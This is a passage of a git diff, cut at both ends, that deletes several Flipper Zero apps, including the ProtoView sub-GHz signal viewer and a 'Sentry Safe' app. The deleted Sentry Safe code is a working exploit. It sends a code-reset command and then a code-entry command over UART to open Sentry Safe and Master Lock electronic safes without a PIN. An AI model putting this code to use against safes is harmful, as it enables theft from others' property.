= app->view_privdata; - if(privdata->fieldset) fieldset_free(privdata->fieldset); - if(privdata->user_value) free(privdata->user_value); -} diff --git a/applications/external/protoview/view_direct_sampling.c b/applications/external/protoview/view_direct_sampling.c deleted file mode 100644 index f43c77042..000000000 --- a/applications/external/protoview/view_direct_sampling.c +++ /dev/null @@ -1,173 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include - -static void direct_sampling_timer_start(ProtoViewApp* app); -static void direct_sampling_timer_stop(ProtoViewApp* app); - -#define CAPTURED_BITMAP_BITS (128 * 64) -#define CAPTURED_BITMAP_BYTES (CAPTURED_BITMAP_BITS / 8) -#define DEFAULT_USEC_PER_PIXEL 50 -#define USEC_PER_PIXEL_SMALL_CHANGE 5 -#define USEC_PER_PIXEL_LARGE_CHANGE 25 -#define USEC_PER_PIXEL_MIN 5 -#define USEC_PER_PIXEL_MAX 300 -typedef struct { - uint8_t* captured; // Bitmap with the last captured screen. - uint32_t captured_idx; // Current index to write into the bitmap - uint32_t usec_per_pixel; // Number of useconds a pixel should represent - bool show_usage_info; -} DirectSamplingViewPrivData; - -/* Read directly from the G0 CC1101 pin, and draw a black or white - * dot depending on the level. */ -void render_view_direct_sampling(Canvas* const canvas, ProtoViewApp* app) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - - if(!app->direct_sampling_enabled && privdata->show_usage_info) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 2, 9, "Direct sampling displays the"); - canvas_draw_str(canvas, 2, 18, "the captured signal in real"); - canvas_draw_str(canvas, 2, 27, "time, like in a CRT TV set."); - canvas_draw_str(canvas, 2, 36, "Use UP/DOWN to change the"); - canvas_draw_str(canvas, 2, 45, "resolution (usec/pixel)."); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 5, 60, "To start/stop, press OK"); - return; - } - privdata->show_usage_info = false; - - /* Draw on screen. */ - int idx = 0; - for(int y = 0; y < 64; y++) { - for(int x = 0; x < 128; x++) { - bool level = bitmap_get(privdata->captured, CAPTURED_BITMAP_BYTES, idx++); - if(level) canvas_draw_dot(canvas, x, y); - } - } - - char buf[32]; - snprintf(buf, sizeof(buf), "%lu usec/px", privdata->usec_per_pixel); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_with_border(canvas, 1, 60, buf, ColorWhite, ColorBlack); -} - -/* Handle input */ -void process_input_direct_sampling(ProtoViewApp* app, InputEvent input) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - - if(input.type == InputTypePress && input.key == InputKeyOk) { - app->direct_sampling_enabled = !app->direct_sampling_enabled; - } - - if((input.key == InputKeyUp || input.key == InputKeyDown) && - (input.type == InputTypePress || input.type == InputTypeRepeat)) { - uint32_t change = input.type == InputTypePress ? USEC_PER_PIXEL_SMALL_CHANGE : - USEC_PER_PIXEL_LARGE_CHANGE; - if(input.key == InputKeyUp) change = -change; - privdata->usec_per_pixel += change; - if(privdata->usec_per_pixel < USEC_PER_PIXEL_MIN) - privdata->usec_per_pixel = USEC_PER_PIXEL_MIN; - else if(privdata->usec_per_pixel > USEC_PER_PIXEL_MAX) - privdata->usec_per_pixel = USEC_PER_PIXEL_MAX; - /* Update the timer frequency. */ - direct_sampling_timer_stop(app); - direct_sampling_timer_start(app); - } -} - -/* Enter view. Stop the subghz thread to prevent access as we read - * the CC1101 data directly. */ -void view_enter_direct_sampling(ProtoViewApp* app) { - /* Set view defaults. */ - DirectSamplingViewPrivData* privdata = app->view_privdata; - privdata->usec_per_pixel = DEFAULT_USEC_PER_PIXEL; - privdata->captured = malloc(CAPTURED_BITMAP_BYTES); - privdata->show_usage_info = true; - - if(app->txrx->txrx_state == TxRxStateRx && !app->txrx->debug_timer_sampling) { - subghz_devices_stop_async_rx(app->radio_device); - - /* To read data asynchronously directly from the view, we need - * to put the CC1101 back into reception mode (the previous call - * to stop the async RX will put it into idle) and configure the - * G0 pin for reading. */ - subghz_devices_set_rx(app->radio_device); - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), - GpioModeInput, - GpioPullNo, - GpioSpeedLow); - } else { - raw_sampling_worker_stop(app); - } - - // Start the timer to capture raw data - direct_sampling_timer_start(app); -} - -/* Exit view. Restore the subghz thread. */ -void view_exit_direct_sampling(ProtoViewApp* app) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - if(privdata->captured) free(privdata->captured); - app->direct_sampling_enabled = false; - - direct_sampling_timer_stop(app); - - /* Restart normal data feeding. */ - if(app->txrx->txrx_state == TxRxStateRx && !app->txrx->debug_timer_sampling) { - subghz_devices_start_async_rx(app->radio_device, protoview_rx_callback, NULL); - } else { - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), - GpioModeInput, - GpioPullNo, - GpioSpeedLow); - raw_sampling_worker_start(app); - } -} - -/* =========================== Timer implementation ========================= */ - -static void ds_timer_isr(void* ctx) { - ProtoViewApp* app = ctx; - DirectSamplingViewPrivData* privdata = app->view_privdata; - - if(app->direct_sampling_enabled) { - bool level = furi_hal_gpio_read(subghz_devices_get_data_gpio(app->radio_device)); - bitmap_set(privdata->captured, CAPTURED_BITMAP_BYTES, privdata->captured_idx, level); - privdata->captured_idx = (privdata->captured_idx + 1) % CAPTURED_BITMAP_BITS; - } - LL_TIM_ClearFlag_UPDATE(TIM2); -} - -static void direct_sampling_timer_start(ProtoViewApp* app) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - - furi_hal_bus_enable(FuriHalBusTIM2); - - LL_TIM_InitTypeDef tim_init = { - .Prescaler = 63, /* CPU frequency is ~64Mhz. */ - .CounterMode = LL_TIM_COUNTERMODE_UP, - .Autoreload = privdata->usec_per_pixel}; - - LL_TIM_Init(TIM2, &tim_init); - LL_TIM_SetClockSource(TIM2, LL_TIM_CLOCKSOURCE_INTERNAL); - LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, ds_timer_isr, app); - LL_TIM_EnableIT_UPDATE(TIM2); - LL_TIM_EnableCounter(TIM2); -} - -static void direct_sampling_timer_stop(ProtoViewApp* app) { - UNUSED(app); - FURI_CRITICAL_ENTER(); - LL_TIM_DisableCounter(TIM2); - LL_TIM_DisableIT_UPDATE(TIM2); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); - furi_hal_bus_disable(FuriHalBusTIM2); - FURI_CRITICAL_EXIT(); -} diff --git a/applications/external/protoview/view_info.c b/applications/external/protoview/view_info.c deleted file mode 100644 index 4148c27a6..000000000 --- a/applications/external/protoview/view_info.c +++ /dev/null @@ -1,327 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include -#include - -/* This view has subviews accessible navigating up/down. This - * enumaration is used to track the currently active subview. */ -enum { - SubViewInfoMain, - SubViewInfoSave, - SubViewInfoLast, /* Just a sentinel. */ -}; - -/* Our view private data. */ -#define SAVE_FILENAME_LEN 64 -typedef struct { - /* Our save view displays an oscilloscope-alike resampled signal, - * so that the user can see what they are saving. With left/right - * you can move to next rows. Here we store where we are. */ - uint32_t signal_display_start_row; - char* filename; - uint8_t cur_info_page; // Info page to display. Useful when there are - // too many fields populated by the decoder that - // a single page is not enough. -} InfoViewPrivData; - -/* Draw the text label and value of the specified info field at x,y. */ -static void render_info_field(Canvas* const canvas, ProtoViewField* f, uint8_t x, uint8_t y) { - char buf[64]; - char strval[32]; - - field_to_string(strval, sizeof(strval), f); - snprintf(buf, sizeof(buf), "%s: %s", f->name, strval); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, x, y, buf); -} - -/* Render the view with the detected message information. */ -#define INFO_LINES_PER_PAGE 5 -static void render_subview_main(Canvas* const canvas, ProtoViewApp* app) { - InfoViewPrivData* privdata = app->view_privdata; - uint8_t pages = - (app->msg_info->fieldset->numfields + (INFO_LINES_PER_PAGE - 1)) / INFO_LINES_PER_PAGE; - privdata->cur_info_page %= pages; - uint8_t current_page = privdata->cur_info_page; - char buf[32]; - - /* Protocol name as title. */ - canvas_set_font(canvas, FontPrimary); - uint8_t y = 8, lineheight = 10; - - if(pages > 1) { - snprintf( - buf, sizeof(buf), "%s %u/%u", app->msg_info->decoder->name, current_page + 1, pages); - canvas_draw_str(canvas, 0, y, buf); - } else { - canvas_draw_str(canvas, 0, y, app->msg_info->decoder->name); - } - y += lineheight; - - /* Draw the info fields. */ - uint8_t max_lines = INFO_LINES_PER_PAGE; - uint32_t j = current_page * max_lines; - while(j < app->msg_info->fieldset->numfields) { - render_info_field(canvas, app->msg_info->fieldset->fields[j++], 0, y); - y += lineheight; - if(--max_lines == 0) break; - } - - /* Draw a vertical "save" label. Temporary solution, to switch to - * something better ASAP. */ - y = 37; - lineheight = 7; - canvas_draw_str(canvas, 119, y, "s"); - y += lineheight; - canvas_draw_str(canvas, 119, y, "a"); - y += lineheight; - canvas_draw_str(canvas, 119, y, "v"); - y += lineheight; - canvas_draw_str(canvas, 119, y, "e"); - y += lineheight; -} - -/* Render view with save option. */ -static void render_subview_save(Canvas* const canvas, ProtoViewApp* app) { - InfoViewPrivData* privdata = app->view_privdata; - - /* Display our signal in digital form: here we don't show the - * signal with the exact timing of the received samples, but as it - * is in its logic form, in exact multiples of the short pulse length. */ - uint8_t rows = 6; - uint8_t rowheight = 11; - uint8_t bitwidth = 4; - uint8_t bitheight = 5; - uint32_t idx = privdata->signal_display_start_row * (128 / 4); - bool prevbit = false; - for(uint8_t y = bitheight + 12; y <= rows * rowheight; y += rowheight) { - for(uint8_t x = 0; x < 128; x += 4) { - bool bit = bitmap_get(app->msg_info->bits, app->msg_info->bits_bytes, idx); - uint8_t prevy = y + prevbit * (bitheight * -1) - 1; - uint8_t thisy = y + bit * (bitheight * -1) - 1; - canvas_draw_line(canvas, x, prevy, x, thisy); - canvas_draw_line(canvas, x, thisy, x + bitwidth - 1, thisy); - prevbit = bit; - if(idx >= app->msg_info->pulses_count) { - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, x + 1, thisy); - canvas_draw_dot(canvas, x + 3, thisy); - canvas_set_color(canvas, ColorBlack); - } - idx++; // Draw next bit - } - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 6, "ok: send, long ok: save"); -} - -/* Render the selected subview of this view. */ -void render_view_info(Canvas* const canvas, ProtoViewApp* app) { - if(app->signal_decoded == false) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 30, 36, "No signal decoded"); - return; - } - - ui_show_available_subviews(canvas, app, SubViewInfoLast); - switch(app->current_subview[app->current_view]) { - case SubViewInfoMain: - render_subview_main(canvas, app); - break; - case SubViewInfoSave: - render_subview_save(canvas, app); - break; - } -} - -/* The user typed the file name. Let's save it and remove the keyboard - * view. */ -static void text_input_done_callback(void* context) { - ProtoViewApp* app = context; - InfoViewPrivData* privdata = app->view_privdata; - - FuriString* save_path = - furi_string_alloc_printf("%s/%s.sub", EXT_PATH("subghz"), privdata->filename); - save_signal(app, furi_string_get_cstr(save_path)); - furi_string_free(save_path); - - free(privdata->filename); - privdata->filename = NULL; // Don't free it again on view exit - ui_dismiss_keyboard(app); - ui_show_alert(app, "Signal saved", 1500); -} - -/* Replace all the occurrences of character c1 with c2 in the specified - * string. */ -void str_replace(char* buf, char c1, char c2) { - char* p = buf; - while(*p) { - if(*p == c1) *p = c2; - p++; - } -} - -/* Set a random filename the user can edit. */ -void set_signal_random_filename(ProtoViewApp* app, char* buf, size_t buflen) { - name_generator_make_auto(buf, buflen, app->msg_info->decoder->name); -} - -/* ========================== Signal transmission =========================== */ - -/* This is the context we pass to the data yield callback for - * asynchronous tx. */ -typedef enum { - SendSignalSendStartGap, - SendSignalSendBits, - SendSignalSendEndGap, - SendSignalEndTransmission -} SendSignalState; - -#define PROTOVIEW_SENDSIGNAL_START_GAP 10000 /* microseconds. */ -#define PROTOVIEW_SENDSIGNAL_END_GAP 10000 /* microseconds. */ - -typedef struct { - SendSignalState state; // Current state. - uint32_t curpos; // Current bit position of data to send. - ProtoViewApp* app; // App reference. - uint32_t start_gap_dur; // Gap to send at the start. - uint32_t end_gap_dur; // Gap to send at the end. -} SendSignalCtx; - -/* Setup the state context for the callback responsible to feed data - * to the subghz async tx system. */ -static void send_signal_init(SendSignalCtx* ss, ProtoViewApp* app) { - ss->state = SendSignalSendStartGap; - ss->curpos = 0; - ss->app = app; - ss->start_gap_dur = PROTOVIEW_SENDSIGNAL_START_GAP; - ss->end_gap_dur = PROTOVIEW_SENDSIGNAL_END_GAP; -} - -/* Send signal data feeder callback. When the asynchronous transmission is - * active, this function is called to return new samples from the currently - * decoded signal in app->msg_info. The subghz subsystem aspects this function, - * that is the data feeder, to return LevelDuration types (that is a structure - * with level, that is pulse or gap, and duration in microseconds). - * - * The position into the transmission is stored in the context 'ctx', that - * references a SendSignalCtx structure. - * - * In the SendSignalCtx structure 'ss' we remember at which bit of the - * message we are, in ss->curoff. We also send a start and end gap in order - * to make sure the transmission is clear. - */ -LevelDuration radio_tx_feed_data(void* ctx) { - SendSignalCtx* ss = ctx; - - /* Send start gap. */ - if(ss->state == SendSignalSendStartGap) { - ss->state = SendSignalSendBits; - return level_duration_make(0, ss->start_gap_dur); - } - - /* Send data. */ - if(ss->state == SendSignalSendBits) { - uint32_t dur = 0, j; - uint32_t level = 0; - - /* Let's see how many consecutive bits we have with the same - * level. */ - for(j = 0; ss->curpos + j < ss->app->msg_info->pulses_count; j++) { - uint32_t l = - bitmap_get(ss->app->msg_info->bits, ss->app->msg_info->bits_bytes, ss->curpos + j); - if(j == 0) { - /* At the first bit of this sequence, we store the - * level of the sequence. */ - level = l; - dur += ss->app->msg_info->short_pulse_dur; - continue; - } - - /* As long as the level is the same, we update the duration. - * Otherwise stop the loop and return this sample. */ - if(l != level) break; - dur += ss->app->msg_info->short_pulse_dur; - } - ss->curpos += j; - - /* If this was the last set of bits, change the state to - * send the final gap. */ - if(ss->curpos >= ss->app->msg_info->pulses_count) ss->state = SendSignalSendEndGap; - return level_duration_make(level, dur); - } - - /* Send end gap. */ - if(ss->state == SendSignalSendEndGap) { - ss->state = SendSignalEndTransmission; - return level_duration_make(0, ss->end_gap_dur); - } - - /* End transmission. Here state is guaranteed - * to be SendSignalEndTransmission */ - return level_duration_reset(); -} - -/* Vibrate and produce a click sound when a signal is sent. */ -void notify_signal_sent(ProtoViewApp* app) { - static const NotificationSequence sent_seq = { - &message_blue_255, - &message_vibro_on, - &message_note_g1, - &message_delay_10, - &message_sound_off, - &message_vibro_off, - &message_blue_0, - NULL}; - notification_message(app->notification, &sent_seq); -} - -/* Handle input for the info view. */ -void process_input_info(ProtoViewApp* app, InputEvent input) { - /* If we don't have a decoded signal, we don't allow to go up/down - * in the subviews: they are only useful when a loaded signal. */ - if(app->signal_decoded && ui_process_subview_updown(app, input, SubViewInfoLast)) return; - - InfoViewPrivData* privdata = app->view_privdata; - int subview = ui_get_current_subview(app); - - /* Main subview. */ - if(subview == SubViewInfoMain) { - if(input.type == InputTypeLong && input.key == InputKeyOk) { - /* Reset the current sample to capture the next. */ - reset_current_signal(app); - } else if(input.type == InputTypeShort && input.key == InputKeyOk) { - /* Show next info page. */ - privdata->cur_info_page++; - } - } else if(subview == SubViewInfoSave) { - /* Save subview. */ - if(input.type == InputTypePress && input.key == InputKeyRight) { - privdata->signal_display_start_row++; - } else if(input.type == InputTypePress && input.key == InputKeyLeft) { - if(privdata->signal_display_start_row != 0) privdata->signal_display_start_row--; - } else if(input.type == InputTypeLong && input.key == InputKeyOk) { - // We have have the buffer already allocated, in case the - // user aborted with BACK a previous saving. - if(privdata->filename == NULL) privdata->filename = malloc(SAVE_FILENAME_LEN); - set_signal_random_filename(app, privdata->filename, SAVE_FILENAME_LEN); - ui_show_keyboard(app, privdata->filename, SAVE_FILENAME_LEN, text_input_done_callback); - } else if(input.type == InputTypeShort && input.key == InputKeyOk) { - SendSignalCtx send_state; - send_signal_init(&send_state, app); - radio_tx_signal(app, radio_tx_feed_data, &send_state); - notify_signal_sent(app); - } - } -} - -/* Called on view exit. */ -void view_exit_info(ProtoViewApp* app) { - InfoViewPrivData* privdata = app->view_privdata; - // When the user aborts the keyboard input, we are left with the - // filename buffer allocated. - if(privdata->filename) free(privdata->filename); -} diff --git a/applications/external/protoview/view_raw_signal.c b/applications/external/protoview/view_raw_signal.c deleted file mode 100644 index 38354bef9..000000000 --- a/applications/external/protoview/view_raw_signal.c +++ /dev/null @@ -1,114 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -/* Render the received signal. - * - * The screen of the flipper is 128 x 64. Even using 4 pixels per line - * (where low level signal is one pixel high, high level is 4 pixels - * high) and 4 pixels of spacing between the different lines, we can - * plot comfortably 8 lines. - * - * The 'idx' argument is the first sample to render in the circular - * buffer. */ -void render_signal(ProtoViewApp* app, Canvas* const canvas, RawSamplesBuffer* buf, uint32_t idx) { - canvas_set_color(canvas, ColorBlack); - - int rows = 8; - uint32_t time_per_pixel = app->us_scale; - uint32_t start_idx = idx; - bool level = 0; - uint32_t dur = 0, sample_num = 0; - for(int row = 0; row < rows; row++) { - for(int x = 0; x < 128; x++) { - int y = 3 + row * 8; - if(dur < time_per_pixel / 2) { - /* Get more data. */ - raw_samples_get(buf, idx++, &level, &dur); - sample_num++; - } - - canvas_draw_line(canvas, x, y, x, y - (level * 3)); - - /* Write a small triangle under the last sample detected. */ - if(app->signal_bestlen != 0 && sample_num + start_idx == app->signal_bestlen + 1) { - canvas_draw_dot(canvas, x, y + 2); - canvas_draw_dot(canvas, x - 1, y + 3); - canvas_draw_dot(canvas, x, y + 3); - canvas_draw_dot(canvas, x + 1, y + 3); - sample_num++; /* Make sure we don't mark the next, too. */ - } - - /* Remove from the current level duration the time we - * just plot. */ - if(dur > time_per_pixel) - dur -= time_per_pixel; - else - dur = 0; - } - } -} - -/* Raw pulses rendering. This is our default view. */ -void render_view_raw_pulses(Canvas* const canvas, ProtoViewApp* app) { - /* Show signal. */ - render_signal(app, canvas, DetectedSamples, app->signal_offset); - - /* Show signal information. */ - char buf[64]; - snprintf(buf, sizeof(buf), "%luus", (unsigned long)DetectedSamples->short_pulse_dur); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_with_border(canvas, 97, 63, buf, ColorWhite, ColorBlack); - if(app->signal_decoded) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_with_border( - canvas, 1, 61, app->msg_info->decoder->name, ColorWhite, ColorBlack); - } -} - -/* Handle input for the raw pulses view. */ -void process_input_raw_pulses(ProtoViewApp* app, InputEvent input) { - if(input.type == InputTypeRepeat) { - /* Handle panning of the signal window. Long pressing - * right will show successive samples, long pressing left - * previous samples. */ - if(input.key == InputKeyRight) - app->signal_offset++; - else if(input.key == InputKeyLeft) - app->signal_offset--; - } else if(input.type == InputTypeLong) { - if(input.key == InputKeyOk) { - /* Reset the current sample to capture the next. */ - reset_current_signal(app); - } - } else if(input.type == InputTypeShort) { - if(input.key == InputKeyOk) { - app->signal_offset = 0; - adjust_raw_view_scale(app, DetectedSamples->short_pulse_dur); - } else if(input.key == InputKeyDown) { - /* Rescaling. The set becomes finer under 50us per pixel. */ - uint32_t scale_step = app->us_scale >= 50 ? 50 : 10; - if(app->us_scale < 500) app->us_scale += scale_step; - } else if(input.key == InputKeyUp) { - uint32_t scale_step = app->us_scale > 50 ? 50 : 10; - if(app->us_scale > 10) app->us_scale -= scale_step; - } - } -} - -/* Adjust raw view scale depending on short pulse duration. */ -void adjust_raw_view_scale(ProtoViewApp* app, uint32_t short_pulse_dur) { - if(short_pulse_dur == 0) - app->us_scale = PROTOVIEW_RAW_VIEW_DEFAULT_SCALE; - else if(short_pulse_dur < 75) - app->us_scale = 10; - else if(short_pulse_dur < 145) - app->us_scale = 30; - else if(short_pulse_dur < 400) - app->us_scale = 100; - else if(short_pulse_dur < 1000) - app->us_scale = 200; - else - app->us_scale = PROTOVIEW_RAW_VIEW_DEFAULT_SCALE; -} diff --git a/applications/external/protoview/view_settings.c b/applications/external/protoview/view_settings.c deleted file mode 100644 index 09abf5a2a..000000000 --- a/applications/external/protoview/view_settings.c +++ /dev/null @@ -1,119 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -/* Renders a single view with frequency and modulation setting. However - * this are logically two different views, and only one of the settings - * will be highlighted. */ -void render_view_settings(Canvas* const canvas, ProtoViewApp* app) { - canvas_set_font(canvas, FontPrimary); - if(app->current_view == ViewFrequencySettings) - canvas_draw_str_with_border(canvas, 1, 10, "Frequency", ColorWhite, ColorBlack); - else - canvas_draw_str(canvas, 1, 10, "Frequency"); - - if(app->current_view == ViewModulationSettings) - canvas_draw_str_with_border(canvas, 70, 10, "Modulation", ColorWhite, ColorBlack); - else - canvas_draw_str(canvas, 70, 10, "Modulation"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 10, 61, "Use up and down to modify"); - - if(app->txrx->debug_timer_sampling) - canvas_draw_str(canvas, 3, 52, "(DEBUG timer sampling is ON)"); - - /* Show frequency. We can use big numbers font since it's just a number. */ - if(app->current_view == ViewFrequencySettings) { - char buf[16]; - snprintf(buf, sizeof(buf), "%.2f", (double)app->frequency / 1000000); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str(canvas, 30, 40, buf); - } else if(app->current_view == ViewModulationSettings) { - int current = app->modulation; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 33, 39, ProtoViewModulations[current].name); - } -} - -/* Handle input for the settings view. */ -void process_input_settings(ProtoViewApp* app, InputEvent input) { - if(input.type == InputTypeLong && input.key == InputKeyOk) { - /* Long pressing to OK sets the default frequency and - * modulation. */ - app->frequency = subghz_setting_get_default_frequency(app->setting); - app->modulation = 0; - } else if(0 && input.type == InputTypeLong && input.key == InputKeyDown) { - /* Long pressing to down switches between normal and debug - * timer sampling mode. NOTE: this feature is disabled for users, - * only useful for devs (if useful at all). */ - - /* We have to stop the previous sampling system. */ - radio_rx_end(app); - - /* Then switch mode and start the new one. */ - app->txrx->debug_timer_sampling = !app->txrx->debug_timer_sampling; - radio_begin(app); - radio_rx(app); - } else if(input.type == InputTypePress && (input.key != InputKeyDown || input.key != InputKeyUp)) { - /* Handle up and down to change frequency or modulation. */ - if(app->current_view == ViewFrequencySettings) { - size_t curidx = 0, i; - size_t count = subghz_setting_get_frequency_count(app->setting); - - /* Scan the list of frequencies to check for the index of the - * currently set frequency. */ - for(i = 0; i < count; i++) { - uint32_t freq = subghz_setting_get_frequency(app->setting, i); - if(freq == app->frequency) { - curidx = i; - break; - } - } - if(i == count) return; /* Should never happen. */ - - if(input.key == InputKeyUp) { - curidx = curidx == 0 ? count - 1 : curidx - 1; - } else if(input.key == InputKeyDown) { - curidx = (curidx + 1) % count; - } else { - return; - } - app->frequency = subghz_setting_get_frequency(app->setting, curidx); - } else if(app->current_view == ViewModulationSettings) { - uint32_t count = 0; - uint32_t modid = app->modulation; - - while(ProtoViewModulations[count].name != NULL) count++; - if(input.key == InputKeyUp) { - modid = modid == 0 ? count - 1 : modid - 1; - } else if(input.key == InputKeyDown) { - modid = (modid + 1) % count; - } else { - return; - } - app->modulation = modid; - } - } else { - return; - } - - /* Apply changes when switching to other views. */ - app->txrx->freq_mod_changed = true; -} - -/* When the user switches to some other view, if they changed the parameters - * we need to restart the radio with the right frequency and modulation. */ -void view_exit_settings(ProtoViewApp* app) { - if(app->txrx->freq_mod_changed) { - FURI_LOG_E( - TAG, - "Setting view, setting frequency/modulation to %lu %s", - app->frequency, - ProtoViewModulations[app->modulation].name); - radio_rx_end(app); - radio_begin(app); - radio_rx(app); - app->txrx->freq_mod_changed = false; - } -} diff --git a/applications/external/sentry_safe/application.fam b/applications/external/sentry_safe/application.fam deleted file mode 100644 index 7f17ca5f6..000000000 --- a/applications/external/sentry_safe/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -App( - appid="gpio_sentry_safe", - name="[GPIO] Sentry Safe", - apptype=FlipperAppType.EXTERNAL, - entry_point="sentry_safe_app", - requires=["gui"], - stack_size=1 * 1024, - fap_icon="safe_10px.png", - fap_category="GPIO", - fap_author="@H4ckd4ddy & @xMasterX (ported to latest firmware)", - fap_version="1.0", - fap_description="App exploiting vulnerability to open any Sentry Safe and Master Lock electronic safe without any pin code via UART pins.", -) diff --git a/applications/external/sentry_safe/safe_10px.png b/applications/external/sentry_safe/safe_10px.png deleted file mode 100644 index 713d79a8e..000000000 Binary files a/applications/external/sentry_safe/safe_10px.png and /dev/null differ diff --git a/applications/external/sentry_safe/sentry_safe.c b/applications/external/sentry_safe/sentry_safe.c deleted file mode 100644 index 789b43f2c..000000000 --- a/applications/external/sentry_safe/sentry_safe.c +++ /dev/null @@ -1,169 +0,0 @@ -#include -#include -#include -#include - -#include - -typedef struct { - uint8_t status; - FuriMutex* mutex; -} SentryState; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} Event; - -const char* status_texts[3] = {"[Press OK to open safe]", "Sending...", "Done !"}; - -static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const SentryState* sentry_state = ctx; - furi_mutex_acquire(sentry_state->mutex, FuriWaitForever); - - // Before the function is called, the state is set with the canvas_reset(canvas) - - // Frame - canvas_draw_frame(canvas, 0, 0, 128, 64); - - // Message - canvas_set_font(canvas, FontPrimary); - - canvas_draw_frame(canvas, 22, 4, 84, 24); - canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignBottom, "BLACK <-> GND"); - canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignBottom, "GREEN <-> C1 "); - canvas_draw_str_aligned( - canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]); - - furi_mutex_release(sentry_state->mutex); -} - -static void sentry_safe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - Event event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -void send_request(int command, int a, int b, int c, int d, int e) { - int checksum = (command + a + b + c + d + e); - - furi_hal_gpio_init_simple(&gpio_ext_pc1, GpioModeOutputPushPull); - furi_hal_gpio_write(&gpio_ext_pc1, false); - furi_delay_ms(3.4); - furi_hal_gpio_write(&gpio_ext_pc1, true); - - furi_hal_uart_init(FuriHalUartIdLPUART1, 4800); - //furi_hal_uart_set_br(FuriHalUartIdLPUART1, 4800); - //furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, usb_uart_on_irq_cb, usb_uart); - - uint8_t data[8] = {0x0, command, a, b, c, d, e, checksum}; - furi_hal_uart_tx(FuriHalUartIdLPUART1, data, 8); - - furi_delay_ms(100); - - furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL); - furi_hal_uart_deinit(FuriHalUartIdLPUART1); -} - -void reset_code(int a, int b, int c, int d, int e) { - send_request(0x75, a, b, c, d, e); -} - -void try_code(int a, int b, int c, int d, int e) { - send_request(0x71, a, b, c, d, e); -} - -int32_t sentry_safe_app(void* p) { - UNUSED(p); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event)); - - SentryState* sentry_state = malloc(sizeof(SentryState)); - - sentry_state->status = 0; - - sentry_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!sentry_state->mutex) { - FURI_LOG_E("SentrySafe", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(sentry_state); - return 255; - } - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, sentry_safe_render_callback, sentry_state); - view_port_input_callback_set(view_port, sentry_safe_input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - Event event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(sentry_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: - - if(sentry_state->status == 2) { - sentry_state->status = 0; - - } else if(sentry_state->status == 0) { - sentry_state->status = 1; - - reset_code(1, 2, 3, 4, 5); - furi_delay_ms(500); - try_code(1, 2, 3, 4, 5); - - sentry_state->status = 2; - } - - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(sentry_state->mutex); - } - - // Reset GPIO pins to default state - furi_hal_gpio_init(&gpio_ext_pc1, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(sentry_state->mutex); - free(sentry_state); - - return 0; -} \ No newline at end of file diff --git a/applications/external/spi_mem_manager/application.fam b/applications/external/spi_mem_manager/application.fam deleted file mode 100644 index 8d1100cf9..000000000 --- a/applications/external/spi_mem_manager/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="spi_mem_manager", - name="[SPI] SPI Mem Manager", - apptype=FlipperAppType.EXTERNAL, - entry_point="spi_mem_app", - requires=["gui"], - stack_size=1 * 2048, 